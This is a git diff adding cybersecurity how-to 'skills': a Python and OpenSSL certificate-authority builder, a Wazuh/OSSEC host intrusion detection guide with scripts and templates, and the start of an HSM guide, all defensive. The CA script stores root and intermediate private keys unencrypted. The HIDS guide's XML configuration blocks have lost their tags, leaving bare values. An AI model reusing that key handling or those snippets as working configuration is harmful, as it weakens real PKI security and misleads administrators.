CA directory structure +mkdir -p ca/{certs,crl,newcerts,private} +touch ca/index.txt +echo 1000 > ca/serial +echo 1000 > ca/crlnumber + +# 2. Generate Root CA +openssl genrsa -aes256 -out ca/private/ca.key 4096 +openssl req -config ca/openssl.cnf -key ca/private/ca.key \ + -new -x509 -days 7300 -sha256 -extensions v3_ca -out ca/certs/ca.crt + +# 3. Generate Intermediate CA +openssl genrsa -aes256 -out intermediate/private/intermediate.key 4096 +openssl req -config intermediate/openssl.cnf \ + -key intermediate/private/intermediate.key -new -sha256 -out intermediate/csr/intermediate.csr +openssl ca -config ca/openssl.cnf -extensions v3_intermediate_ca \ + -days 3650 -notext -md sha256 -in intermediate/csr/intermediate.csr \ + -out intermediate/certs/intermediate.crt + +# 4. Issue server certificate +openssl req -config intermediate/openssl.cnf \ + -key server.key -new -sha256 -out server.csr +openssl ca -config intermediate/openssl.cnf -extensions server_cert \ + -days 365 -notext -md sha256 -in server.csr -out server.crt +``` diff --git a/skills/configuring-certificate-authority-with-openssl/scripts/process.py b/skills/configuring-certificate-authority-with-openssl/scripts/process.py new file mode 100644 index 00000000..1a1f248d --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/scripts/process.py @@ -0,0 +1,455 @@ +#!/usr/bin/env python3 +""" +Certificate Authority Builder using Python cryptography library. + +Builds a complete two-tier CA hierarchy (Root CA + Intermediate CA) +and issues server/client certificates programmatically. + +Requirements: + pip install cryptography + +Usage: + python process.py build-ca --output ./pki --org "My Organization" + python process.py issue-cert --ca-dir ./pki --domain server.example.com --type server + python process.py revoke --ca-dir ./pki --serial 1001 + python process.py generate-crl --ca-dir ./pki +""" + +import os +import sys +import json +import argparse +import logging +import datetime +from pathlib import Path +from typing import Dict, Optional, List + +from cryptography import x509 +from cryptography.x509.oid import NameOID, ExtensionOID +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import rsa, ec +from cryptography.hazmat.backends import default_backend + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def generate_key(key_type: str = "rsa", key_size: int = 4096): + """Generate a private key.""" + if key_type == "ecdsa": + return ec.generate_private_key(ec.SECP384R1(), default_backend()) + return rsa.generate_private_key( + public_exponent=65537, key_size=key_size, backend=default_backend() + ) + + +def save_key(key, path: Path, passphrase: Optional[str] = None): + """Save a private key to PEM file.""" + if passphrase: + enc = serialization.BestAvailableEncryption(passphrase.encode()) + else: + enc = serialization.NoEncryption() + path.write_bytes(key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=enc, + )) + + +def save_cert(cert, path: Path): + """Save a certificate to PEM file.""" + path.write_bytes(cert.public_bytes(serialization.Encoding.PEM)) + + +def build_root_ca( + output_dir: Path, + organization: str, + country: str = "US", + validity_years: int = 20, +) -> Dict: + """Build a Root CA with self-signed certificate.""" + ca_dir = output_dir / "root-ca" + ca_dir.mkdir(parents=True, exist_ok=True) + (ca_dir / "certs").mkdir(exist_ok=True) + (ca_dir / "private").mkdir(exist_ok=True) + + key = generate_key("rsa", 4096) + save_key(key, ca_dir / "private" / "root-ca.key") + + subject = x509.Name([ + x509.NameAttribute(NameOID.COUNTRY_NAME, country), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, organization), + x509.NameAttribute(NameOID.COMMON_NAME, f"{organization} Root CA"), + ]) + + now = datetime.datetime.utcnow() + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(subject) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(now) + .not_valid_after(now + datetime.timedelta(days=validity_years * 365)) + .add_extension( + x509.BasicConstraints(ca=True, path_length=1), critical=True + ) + .add_extension( + x509.KeyUsage( + digital_signature=True, key_cert_sign=True, crl_sign=True, + content_commitment=False, key_encipherment=False, + data_encipherment=False, key_agreement=False, + encipher_only=False, decipher_only=False, + ), + critical=True, + ) + .add_extension( + x509.SubjectKeyIdentifier.from_public_key(key.public_key()), + critical=False, + ) + .sign(key, hashes.SHA384(), default_backend()) + ) + + save_cert(cert, ca_dir / "certs" / "root-ca.crt") + + # Initialize serial number tracker + (ca_dir / "serial.json").write_text(json.dumps({"next_serial": 1001})) + (ca_dir / "index.json").write_text(json.dumps({"certificates": []})) + + logger.info(f"Root CA created: {ca_dir}") + return { + "type": "root-ca", + "subject": subject.rfc4514_string(), + "key_path": str(ca_dir / "private" / "root-ca.key"), + "cert_path": str(ca_dir / "certs" / "root-ca.crt"), + "serial_number": hex(cert.serial_number), + "valid_until": cert.not_valid_after_utc.isoformat(), + } + + +def build_intermediate_ca( + output_dir: Path, + organization: str, + country: str = "US", + validity_years: int = 10, +) -> Dict: + """Build an Intermediate CA signed by the Root CA.""" + root_dir = output_dir / "root-ca" + int_dir = output_dir / "intermediate-ca" + int_dir.mkdir(parents=True, exist_ok=True) + (int_dir / "certs").mkdir(exist_ok=True) + (int_dir / "private").mkdir(exist_ok=True) + + root_key_data = (root_dir / "private" / "root-ca.key").read_bytes() + root_key = serialization.load_pem_private_key(root_key_data, password=None, backend=default_backend()) + + root_cert_data = (root_dir / "certs" / "root-ca.crt").read_bytes() + root_cert = x509.load_pem_x509_certificate(root_cert_data, default_backend()) + + int_key = generate_key("rsa", 4096) + save_key(int_key, int_dir / "private" / "intermediate-ca.key") + + subject = x509.Name([ + x509.NameAttribute(NameOID.COUNTRY_NAME, country), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, organization), + x509.NameAttribute(NameOID.COMMON_NAME, f"{organization} Intermediate CA"), + ]) + + now = datetime.datetime.utcnow() + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(root_cert.subject) + .public_key(int_key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(now) + .not_valid_after(now + datetime.timedelta(days=validity_years * 365)) + .add_extension( + x509.BasicConstraints(ca=True, path_length=0), critical=True + ) + .add_extension( + x509.KeyUsage( + digital_signature=True, key_cert_sign=True, crl_sign=True, + content_commitment=False, key_encipherment=False, + data_encipherment=False, key_agreement=False, + encipher_only=False, decipher_only=False, + ), + critical=True, + ) + .add_extension( + x509.SubjectKeyIdentifier.from_public_key(int_key.public_key()), + critical=False, + ) + .add_extension( + x509.AuthorityKeyIdentifier.from_issuer_public_key(root_key.public_key()), + critical=False, + ) + .sign(root_key, hashes.SHA384(), default_backend()) + ) + + save_cert(cert, int_dir / "certs" / "intermediate-ca.crt") + + # Create chain file + chain = cert.public_bytes(serialization.Encoding.PEM) + root_cert.public_bytes(serialization.Encoding.PEM) + (int_dir / "certs" / "ca-chain.crt").write_bytes(chain) + + # Initialize serial and index + (int_dir / "serial.json").write_text(json.dumps({"next_serial": 2001})) + (int_dir / "index.json").write_text(json.dumps({"certificates": [], "revoked": []})) + + logger.info(f"Intermediate CA created: {int_dir}") + return { + "type": "intermediate-ca", + "subject": subject.rfc4514_string(), + "key_path": str(int_dir / "private" / "intermediate-ca.key"), + "cert_path": str(int_dir / "certs" / "intermediate-ca.crt"), + "chain_path": str(int_dir / "certs" / "ca-chain.crt"), + "serial_number": hex(cert.serial_number), + "valid_until": cert.not_valid_after_utc.isoformat(), + } + + +def issue_certificate( + ca_dir: Path, + domain: str, + cert_type: str = "server", + validity_days: int = 365, + san_domains: Optional[List[str]] = None, +) -> Dict: + """Issue a certificate from the Intermediate CA.""" + int_dir = ca_dir / "intermediate-ca" + + int_key_data = (int_dir / "private" / "intermediate-ca.key").read_bytes() + int_key = serialization.load_pem_private_key(int_key_data, password=None, backend=default_backend()) + + int_cert_data = (int_dir / "certs" / "intermediate-ca.crt").read_bytes() + int_cert = x509.load_pem_x509_certificate(int_cert_data, default_backend()) + + # Read and update serial + serial_data = json.loads((int_dir / "serial.json").read_text()) + serial_num = serial_data["next_serial"] + serial_data["next_serial"] = serial_num + 1 + (int_dir / "serial.json").write_text(json.dumps(serial_data)) + + # Generate end-entity key + ee_key = generate_key("ecdsa") + subject = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, domain), + ]) + + san_list = [x509.DNSName(domain)] + if san_domains: + for d in san_domains: + san_list.append(x509.DNSName(d)) + + if cert_type == "server": + eku = x509.ExtendedKeyUsage([x509.oid.ExtendedKeyUsageOID.SERVER_AUTH]) + elif cert_type == "client": + eku = x509.ExtendedKeyUsage([x509.oid.ExtendedKeyUsageOID.CLIENT_AUTH]) + else: + eku = x509.ExtendedKeyUsage([ + x509.oid.ExtendedKeyUsageOID.SERVER_AUTH, + x509.oid.ExtendedKeyUsageOID.CLIENT_AUTH, + ]) + + now = datetime.datetime.utcnow() + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(int_cert.subject) + .public_key(ee_key.public_key()) + .serial_number(serial_num) + .not_valid_before(now) + .not_valid_after(now + datetime.timedelta(days=validity_days)) + .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True) + .add_extension( + x509.KeyUsage( + digital_signature=True, key_encipherment=True, + key_cert_sign=False, crl_sign=False, + content_commitment=False, data_encipherment=False, + key_agreement=False, encipher_only=False, decipher_only=False, + ), + critical=True, + ) + .add_extension(eku, critical=False) + .add_extension(x509.SubjectAlternativeName(san_list), critical=False) + .add_extension( + x509.AuthorityKeyIdentifier.from_issuer_public_key(int_key.public_key()), + critical=False, + ) + .sign(int_key, hashes.SHA256(), default_backend()) + ) + + certs_dir = int_dir / "certs" / "issued" + certs_dir.mkdir(exist_ok=True) + + save_key(ee_key, certs_dir / f"{domain}.key") + save_cert(cert, certs_dir / f"{domain}.crt") + + # Update index + index_data = json.loads((int_dir / "index.json").read_text()) + index_data["certificates"].append({ + "serial": serial_num, + "domain": domain, + "type": cert_type, + "issued": now.isoformat(), + "expires": (now + datetime.timedelta(days=validity_days)).isoformat(), + "status": "valid", + }) + (int_dir / "index.json").write_text(json.dumps(index_data, indent=2)) + + logger.info(f"Issued {cert_type} certificate for {domain} (serial: {serial_num})") + return { + "domain": domain, + "serial": serial_num, + "type": cert_type, + "key_path": str(certs_dir / f"{domain}.key"), + "cert_path": str(certs_dir / f"{domain}.crt"), + "chain_path": str(int_dir / "certs" / "ca-chain.crt"), + "valid_until": cert.not_valid_after_utc.isoformat(), + } + + +def revoke_certificate(ca_dir: Path, serial: int, reason: str = "unspecified") -> Dict: + """Revoke a certificate by serial number.""" + int_dir = ca_dir / "intermediate-ca" + index_data = json.loads((int_dir / "index.json").read_text()) + + reason_map = { + "unspecified": x509.ReasonFlags.unspecified, + "key_compromise": x509.ReasonFlags.key_compromise, + "ca_compromise": x509.ReasonFlags.ca_compromise, + "affiliation_changed": x509.ReasonFlags.affiliation_changed, + "superseded": x509.ReasonFlags.superseded, + "cessation_of_operation": x509.ReasonFlags.cessation_of_operation, + } + + found = False + for cert_entry in index_data["certificates"]: + if cert_entry["serial"] == serial: + cert_entry["status"] = "revoked" + cert_entry["revoked_at"] = datetime.datetime.utcnow().isoformat() + cert_entry["revocation_reason"] = reason + found = True + break + + if not found: + raise ValueError(f"Certificate with serial {serial} not found") + + if "revoked" not in index_data: + index_data["revoked"] = [] + + index_data["revoked"].append({ + "serial": serial, + "revoked_at": datetime.datetime.utcnow().isoformat(), + "reason": reason, + }) + + (int_dir / "index.json").write_text(json.dumps(index_data, indent=2)) + logger.info(f"Revoked certificate serial {serial} (reason: {reason})") + + return {"serial": serial, "status": "revoked", "reason": reason} + + +def generate_crl(ca_dir: Path, validity_days: int = 30) -> Dict: + """Generate a Certificate Revocation List.""" + int_dir = ca_dir / "intermediate-ca" + + int_key_data = (int_dir / "private" / "intermediate-ca.key").read_bytes() + int_key = serialization.load_pem_private_key(int_key_data, password=None, backend=default_backend()) + + int_cert_data = (int_dir / "certs" / "intermediate-ca.crt").read_bytes() + int_cert = x509.load_pem_x509_certificate(int_cert_data, default_backend()) + + index_data = json.loads((int_dir / "index.json").read_text()) + + now = datetime.datetime.utcnow() + builder = x509.CertificateRevocationListBuilder() + builder = builder.issuer_name(int_cert.subject) + builder = builder.last_update(now) + builder = builder.next_update(now + datetime.timedelta(days=validity_days)) + + reason_map = { + "unspecified": x509.ReasonFlags.unspecified, + "key_compromise": x509.ReasonFlags.key_compromise, + "ca_compromise": x509.ReasonFlags.ca_compromise, + "superseded": x509.ReasonFlags.superseded, + "cessation_of_operation": x509.ReasonFlags.cessation_of_operation, + } + + for entry in index_data.get("revoked", []): + revoked_cert = ( + x509.RevokedCertificateBuilder() + .serial_number(entry["serial"]) + .revocation_date(datetime.datetime.fromisoformat(entry["revoked_at"])) + .add_extension( + x509.CRLReason(reason_map.get(entry.get("reason", "unspecified"), x509.ReasonFlags.unspecified)), + critical=False, + ) + .build() + ) + builder = builder.add_revoked_certificate(revoked_cert) + + crl = builder.sign(int_key, hashes.SHA256(), default_backend()) + + crl_path = int_dir / "crl" / "intermediate.crl" + crl_path.parent.mkdir(exist_ok=True) + crl_path.write_bytes(crl.public_bytes(serialization.Encoding.PEM)) + + logger.info(f"Generated CRL with {len(index_data.get('revoked', []))} revoked certificates") + return { + "crl_path": str(crl_path), + "revoked_count": len(index_data.get("revoked", [])), + "next_update": (now + datetime.timedelta(days=validity_days)).isoformat(), + } + + +def main(): + parser = argparse.ArgumentParser(description="Certificate Authority Builder") + subparsers = parser.add_subparsers(dest="command") + + build = subparsers.add_parser("build-ca", help="Build complete CA hierarchy") + build.add_argument("--output", "-o", default="./pki", help="Output directory") + build.add_argument("--org", required=True, help="Organization name") + build.add_argument("--country", default="US", help="Country code") + + issue = subparsers.add_parser("issue-cert", help="Issue a certificate") + issue.add_argument("--ca-dir", required=True, help="CA directory") + issue.add_argument("--domain", required=True, help="Domain name") + issue.add_argument("--type", choices=["server", "client", "both"], default="server") + issue.add_argument("--days", type=int, default=365, help="Validity days") + issue.add_argument("--san", nargs="*", help="Additional SAN domains") + + rev = subparsers.add_parser("revoke", help="Revoke a certificate") + rev.add_argument("--ca-dir", required=True, help="CA directory") + rev.add_argument("--serial", type=int, required=True, help="Serial number") + rev.add_argument("--reason", default="unspecified", help="Revocation reason") + + crl = subparsers.add_parser("generate-crl", help="Generate CRL") + crl.add_argument("--ca-dir", required=True, help="CA directory") + crl.add_argument("--days", type=int, default=30, help="CRL validity days") + + args = parser.parse_args() + + if args.command == "build-ca": + output = Path(args.output) + root = build_root_ca(output, args.org, args.country) + intermediate = build_intermediate_ca(output, args.org, args.country) + print(json.dumps({"root_ca": root, "intermediate_ca": intermediate}, indent=2)) + elif args.command == "issue-cert": + result = issue_certificate( + Path(args.ca_dir), args.domain, args.type, args.days, args.san + ) + print(json.dumps(result, indent=2)) + elif args.command == "revoke": + result = revoke_certificate(Path(args.ca_dir), args.serial, args.reason) + print(json.dumps(result, indent=2)) + elif args.command == "generate-crl": + result = generate_crl(Path(args.ca_dir), args.days) + print(json.dumps(result, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-host-based-intrusion-detection/SKILL.md b/skills/configuring-host-based-intrusion-detection/SKILL.md new file mode 100644 index 00000000..f4b35de4 --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/SKILL.md @@ -0,0 +1,211 @@ +--- +name: configuring-host-based-intrusion-detection +description: > + Configures host-based intrusion detection systems (HIDS) to monitor endpoint file integrity, + system calls, and configuration changes for security violations. Use when deploying OSSEC, + Wazuh, or AIDE for endpoint monitoring, building file integrity monitoring (FIM) policies, or + meeting compliance requirements for change detection. Activates for requests involving HIDS + configuration, file integrity monitoring, OSSEC/Wazuh deployment, or host-based detection. +domain: cybersecurity +subdomain: endpoint-security +tags: [endpoint, HIDS, Wazuh, OSSEC, file-integrity-monitoring, intrusion-detection] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Configuring Host-Based Intrusion Detection + +## When to Use + +Use this skill when: +- Deploying HIDS agents (Wazuh, OSSEC, AIDE) across Windows and Linux endpoints +- Configuring file integrity monitoring (FIM) for compliance (PCI DSS 11.5, NIST SI-7) +- Monitoring system configuration changes, rootkit detection, and security policy violations +- Integrating HIDS alerts with SIEM platforms for centralized monitoring + +**Do not use** this skill for network-based IDS (Suricata, Snort) or for EDR deployment. + +## Prerequisites + +- Wazuh server (manager) deployed and accessible from endpoints +- Administrative access to target endpoints +- Network connectivity: agents to Wazuh manager on port 1514 (TCP/UDP) and 1515 (TCP enrollment) +- Wazuh dashboard (OpenSearch Dashboards) for alert visualization +- Understanding of critical files/directories to monitor per OS + +## Workflow + +### Step 1: Install Wazuh Agent + +**Windows**: +```powershell +# Download and install Wazuh agent +Invoke-WebRequest -Uri "https://packages.wazuh.com/4.x/windows/wazuh-agent-4.9.0-1.msi" ` + -OutFile "wazuh-agent.msi" +msiexec /i wazuh-agent.msi /q WAZUH_MANAGER="wazuh-manager.corp.com" ` + WAZUH_REGISTRATION_SERVER="wazuh-manager.corp.com" WAZUH_AGENT_GROUP="windows-workstations" +net start WazuhSvc +``` + +**Linux (Debian/Ubuntu)**: +```bash +curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --dearmor -o /usr/share/keyrings/wazuh.gpg +echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \ + > /etc/apt/sources.list.d/wazuh.list +apt-get update && apt-get install wazuh-agent -y +sed -i 's/MANAGER_IP/wazuh-manager.corp.com/' /var/ossec/etc/ossec.conf +systemctl daemon-reload && systemctl enable --now wazuh-agent +``` + +### Step 2: Configure File Integrity Monitoring (FIM) + +Edit agent configuration (`/var/ossec/etc/ossec.conf` or `C:\Program Files (x86)\ossec-agent\ossec.conf`): + +```xml + + + 43200 + yes + yes + + + /etc + /usr/bin + /usr/sbin + /bin + /sbin + /boot + + + C:\Windows\System32 + C:\Windows\SysWOW64 + %PROGRAMFILES% + + + HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run + HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce + HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services + + + /etc/mtab + /etc/resolv.conf + .log$ + +``` + +### Step 3: Configure Rootkit Detection + +```xml + + no + 43200 + /var/ossec/etc/shared/rootkit_files.txt + /var/ossec/etc/shared/rootkit_trojans.txt + /var/ossec/etc/shared/system_audit_rcl.txt + yes + yes + yes + yes + yes + yes + yes + yes + +``` + +### Step 4: Configure Log Analysis Rules + +```xml + + + + + 550 + /usr/bin/|/usr/sbin/|/bin/|/sbin/ + Critical system binary modified: $(file) + syscheck,pci_dss_11.5, + + + + + 554 + /tmp/|/var/tmp/ + New file created in temp directory: $(file) + syscheck,malware, + + + + + 550 + /etc/ssh/sshd_config + SSH configuration modified + syscheck,authentication, + + +``` + +### Step 5: Configure Active Response + +```xml + + + firewall-drop + local + 5712 + 600 + + + + + no + disable-account + local + 100100 + 3600 + +``` + +### Step 6: Integrate with SIEM + +``` +# Wazuh to Splunk via Filebeat +# Edit /etc/filebeat/filebeat.yml: +filebeat.inputs: + - type: log + paths: + - /var/ossec/logs/alerts/alerts.json + json.keys_under_root: true +output.elasticsearch: + hosts: ["https://splunk-hec:8088"] + +# Wazuh to Elastic via direct integration +# Wazuh indexer feeds directly into OpenSearch/Elasticsearch +# Dashboard: https://wazuh-dashboard:5601 +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **HIDS** | Host-based Intrusion Detection System; monitors individual endpoints for malicious activity | +| **FIM** | File Integrity Monitoring; detects unauthorized changes to files by comparing cryptographic hashes | +| **Syscheck** | Wazuh/OSSEC module for file integrity monitoring and registry monitoring | +| **Rootcheck** | Wazuh/OSSEC module for rootkit and malware detection | +| **Active Response** | Automated defensive action triggered by HIDS alert (IP block, account disable) | +| **CDB List** | Constant Database list used for custom lookups in Wazuh rules | + +## Tools & Systems + +- **Wazuh**: Open-source HIDS platform (fork of OSSEC) with manager, agent, and dashboard +- **OSSEC**: Original open-source HIDS (predecessor to Wazuh) +- **AIDE (Advanced Intrusion Detection Environment)**: Standalone file integrity checker for Linux +- **Tripwire**: Commercial file integrity monitoring solution +- **Samhain**: Open-source HIDS focused on file integrity and log monitoring + +## Common Pitfalls + +- **Monitoring too many directories**: FIM on entire filesystems generates excessive alerts. Focus on critical system binaries, configuration files, and web roots. +- **Not excluding noisy files**: Frequently changing files (logs, temp, caches) generate false positive FIM alerts. Maintain exclusion lists. +- **Ignoring baseline establishment**: First FIM scan creates a baseline. Changes detected before baseline stabilization are noise, not threats. Allow 48 hours for baseline. +- **Active response without testing**: Auto-blocking IPs or disabling accounts can cause outages. Test active response rules in a non-production environment first. +- **Agent enrollment failures**: Agents must successfully enroll with the manager before monitoring begins. Verify firewall rules allow port 1514 and 1515 traffic. diff --git a/skills/configuring-host-based-intrusion-detection/assets/template.md b/skills/configuring-host-based-intrusion-detection/assets/template.md new file mode 100644 index 00000000..cc1cdcbe --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/assets/template.md @@ -0,0 +1,43 @@ +# HIDS Deployment Template + +## Deployment Information + +| Field | Value | +|-------|-------| +| HIDS Platform | Wazuh / OSSEC / AIDE | +| Manager Address | | +| Agent Version | | +| Target Endpoints | | +| Deployment Date | | + +## FIM Configuration + +| Directory | Real-time | Check All | Exclusions | +|-----------|----------|-----------|------------| +| /etc | Yes | Yes | mtab, resolv.conf | +| /usr/bin | Yes | Yes | | +| /usr/sbin | Yes | Yes | | +| C:\Windows\System32 | Yes | Yes | *.log | + +## Monitoring Modules + +| Module | Status | Frequency | +|--------|--------|-----------| +| Syscheck (FIM) | Enabled | 12 hours | +| Rootcheck | Enabled | 12 hours | +| Log Analysis | Enabled | Real-time | +| Active Response | Enabled | Real-time | +| Vulnerability Detection | Enabled | 12 hours | + +## Custom Rules + +| Rule ID | Description | Level | Trigger | +|---------|-------------|-------|---------| +| | | | | + +## Sign-Off + +| Role | Name | Date | +|------|------|------| +| Security Engineer | | | +| SOC Analyst | | | diff --git a/skills/configuring-host-based-intrusion-detection/references/standards.md b/skills/configuring-host-based-intrusion-detection/references/standards.md new file mode 100644 index 00000000..71a84640 --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/references/standards.md @@ -0,0 +1,33 @@ +# Standards & References - Configuring Host-Based Intrusion Detection + +## Primary Standards + +### NIST SP 800-94 Rev 1 - Guide to Intrusion Detection and Prevention Systems +- **Publisher**: NIST +- **Scope**: Architecture, deployment, and management of IDPS including host-based systems + +### PCI DSS 4.0 Requirement 11.5 - File Integrity Monitoring +- **Publisher**: PCI SSC +- **Requirement**: Deploy FIM to alert on unauthorized modification of critical files +- **Scope**: System files, configuration files, content files on in-scope systems + +### CIS Control 3 - Data Protection (v8) +- **Publisher**: CIS +- **Relevance**: Sub-control 3.14 requires monitoring for unauthorized changes to sensitive data + +## Compliance Mappings + +| Framework | Requirement | HIDS Coverage | +|-----------|------------|--------------| +| PCI DSS 4.0 | 11.5.2 - FIM mechanism deployed | Wazuh syscheck module | +| NIST 800-53 | SI-7 Software, Firmware, and Information Integrity | File integrity monitoring | +| NIST 800-53 | SI-4 System Monitoring | HIDS log analysis and alerting | +| HIPAA | 164.312(b) - Audit controls | File access and change monitoring | +| ISO 27001 | A.12.4.1 - Event logging | HIDS event collection and analysis | + +## Supporting References + +- **Wazuh Documentation**: https://documentation.wazuh.com/ +- **OSSEC Documentation**: https://www.ossec.net/docs/ +- **Wazuh FIM Reference**: https://documentation.wazuh.com/current/user-manual/capabilities/file-integrity/ +- **Wazuh Ruleset**: https://github.com/wazuh/wazuh-ruleset diff --git a/skills/configuring-host-based-intrusion-detection/references/workflows.md b/skills/configuring-host-based-intrusion-detection/references/workflows.md new file mode 100644 index 00000000..6f544bc0 --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/references/workflows.md @@ -0,0 +1,47 @@ +# Workflows - Configuring Host-Based Intrusion Detection + +## Workflow 1: Wazuh HIDS Deployment + +``` +[Deploy Wazuh Manager] + │ + ▼ +[Configure FIM, rootcheck, and log analysis modules] + │ + ▼ +[Deploy agents to pilot endpoints] + │ + ▼ +[Establish baseline (48 hours)] + │ + ▼ +[Tune rules: suppress false positives, add exclusions] + │ + ▼ +[Deploy agents to production fleet] + │ + ▼ +[Integrate with SIEM] + │ + ▼ +[Create dashboards and alert workflows] +``` + +## Workflow 2: FIM Alert Investigation + +``` +[FIM alert: File modified] + │ + ▼ +[Check file path and change details] + │ + ├── Known system update ──► [Correlate with patch window, close alert] + ├── Authorized config change ──► [Verify change ticket, close alert] + └── Unauthorized change ──► [Investigate] + │ + ├── Determine who/what changed the file + ├── Review process tree and timeline + │ + ├── Malicious ──► [Escalate to IR] + └── Operational ──► [Update change process] +``` diff --git a/skills/configuring-host-based-intrusion-detection/scripts/process.py b/skills/configuring-host-based-intrusion-detection/scripts/process.py new file mode 100644 index 00000000..de29619e --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/scripts/process.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +""" +HIDS Alert Analyzer + +Parses Wazuh/OSSEC alerts JSON and generates summary reports for +file integrity monitoring and intrusion detection events. +""" + +import json +import sys +import os +from collections import defaultdict, Counter +from datetime import datetime + + +def parse_wazuh_alerts(json_path: str) -> list: + """Parse Wazuh alerts JSON file (one JSON object per line).""" + alerts = [] + + with open(json_path, "r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + alert = json.loads(line) + alerts.append({ + "timestamp": alert.get("timestamp", ""), + "rule_id": alert.get("rule", {}).get("id", ""), + "rule_description": alert.get("rule", {}).get("description", ""), + "rule_level": alert.get("rule", {}).get("level", 0), + "rule_groups": alert.get("rule", {}).get("groups", []), + "agent_name": alert.get("agent", {}).get("name", ""), + "agent_ip": alert.get("agent", {}).get("ip", ""), + "syscheck_path": alert.get("syscheck", {}).get("path", ""), + "syscheck_event": alert.get("syscheck", {}).get("event", ""), + "syscheck_md5_after": alert.get("syscheck", {}).get("md5_after", ""), + "src_ip": alert.get("data", {}).get("srcip", ""), + "full_log": alert.get("full_log", "")[:300], + }) + except json.JSONDecodeError: + continue + + return alerts + + +def analyze_alerts(alerts: list) -> dict: + """Analyze parsed alerts for patterns and summary statistics.""" + analysis = { + "total_alerts": len(alerts), + "by_level": Counter(), + "by_rule": Counter(), + "by_agent": Counter(), + "by_group": Counter(), + "fim_events": { + "modified": 0, + "added": 0, + "deleted": 0, + "top_modified_files": Counter(), + }, + "high_severity": [], + "attack_sources": Counter(), + } + + for alert in alerts: + level = alert["rule_level"] + analysis["by_level"][level] += 1 + analysis["by_rule"][f"{alert['rule_id']}: {alert['rule_description']}"] += 1 + analysis["by_agent"][alert["agent_name"]] += 1 + + for group in alert["rule_groups"]: + analysis["by_group"][group] += 1 + + if "syscheck" in alert["rule_groups"] or alert["syscheck_path"]: + event = alert["syscheck_event"] + if event == "modified": + analysis["fim_events"]["modified"] += 1 + analysis["fim_events"]["top_modified_files"][alert["syscheck_path"]] += 1 + elif event == "added": + analysis["fim_events"]["added"] += 1 + elif event == "deleted": + analysis["fim_events"]["deleted"] += 1 + + if level >= 10: + analysis["high_severity"].append({ + "timestamp": alert["timestamp"], + "agent": alert["agent_name"], + "rule": alert["rule_description"], + "level": level, + "detail": alert["full_log"], + }) + + if alert["src_ip"]: + analysis["attack_sources"][alert["src_ip"]] += 1 + + return analysis + + +def generate_report(analysis: dict, output_path: str) -> None: + """Generate HIDS alert analysis report.""" + report = { + "report_generated": datetime.utcnow().isoformat() + "Z", + "total_alerts": analysis["total_alerts"], + "severity_distribution": dict(analysis["by_level"]), + "top_rules": dict(analysis["by_rule"].most_common(20)), + "top_agents": dict(analysis["by_agent"].most_common(20)), + "alert_groups": dict(analysis["by_group"].most_common(15)), + "file_integrity": { + "files_modified": analysis["fim_events"]["modified"], + "files_added": analysis["fim_events"]["added"], + "files_deleted": analysis["fim_events"]["deleted"], + "top_modified": dict(analysis["fim_events"]["top_modified_files"].most_common(20)), + }, + "high_severity_alerts": analysis["high_severity"][:50], + "top_attack_sources": dict(analysis["attack_sources"].most_common(20)), + } + + with open(output_path, "w", encoding="utf-8") as f: + json.dump(report, f, indent=2) + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python process.py ") + print() + print("Analyzes Wazuh/OSSEC alerts JSON for HIDS event patterns.") + sys.exit(1) + + json_path = sys.argv[1] + if not os.path.exists(json_path): + print(f"Error: File not found: {json_path}") + sys.exit(1) + + print("Parsing Wazuh alerts...") + alerts = parse_wazuh_alerts(json_path) + print(f"Parsed {len(alerts)} alerts") + + print("Analyzing alert patterns...") + analysis = analyze_alerts(alerts) + + base = os.path.splitext(os.path.basename(json_path))[0] + out_dir = os.path.dirname(json_path) or "." + report_path = os.path.join(out_dir, f"{base}_analysis.json") + generate_report(analysis, report_path) + print(f"Analysis report: {report_path}") + + print(f"\n--- HIDS Alert Summary ---") + print(f"Total alerts: {analysis['total_alerts']}") + print(f"High severity (level >= 10): {len(analysis['high_severity'])}") + print(f"FIM: {analysis['fim_events']['modified']} modified, " + f"{analysis['fim_events']['added']} added, " + f"{analysis['fim_events']['deleted']} deleted") diff --git a/skills/configuring-hsm-for-key-storage/SKILL.md b/skills/configuring-hsm-for-key-storage/SKILL.md new file mode 100644 index 00000000..e35813ed --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/SKILL.md @@ -0,0 +1,71 @@ +--- +name: configuring-hsm-for-key-storage +description: Hardware Security Modules (HSMs) are tamper-resistant physical devices that safeguard cryptographic keys and perform cryptographic operations in a hardened environment. Keys stored in an HSM never lea +domain: cybersecurity +subdomain: cryptography +tags: [cryptography, hsm, key-management, pkcs11, hardware-security] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring HSM for Key Storage + +## Overview + +Hardware Security Modules 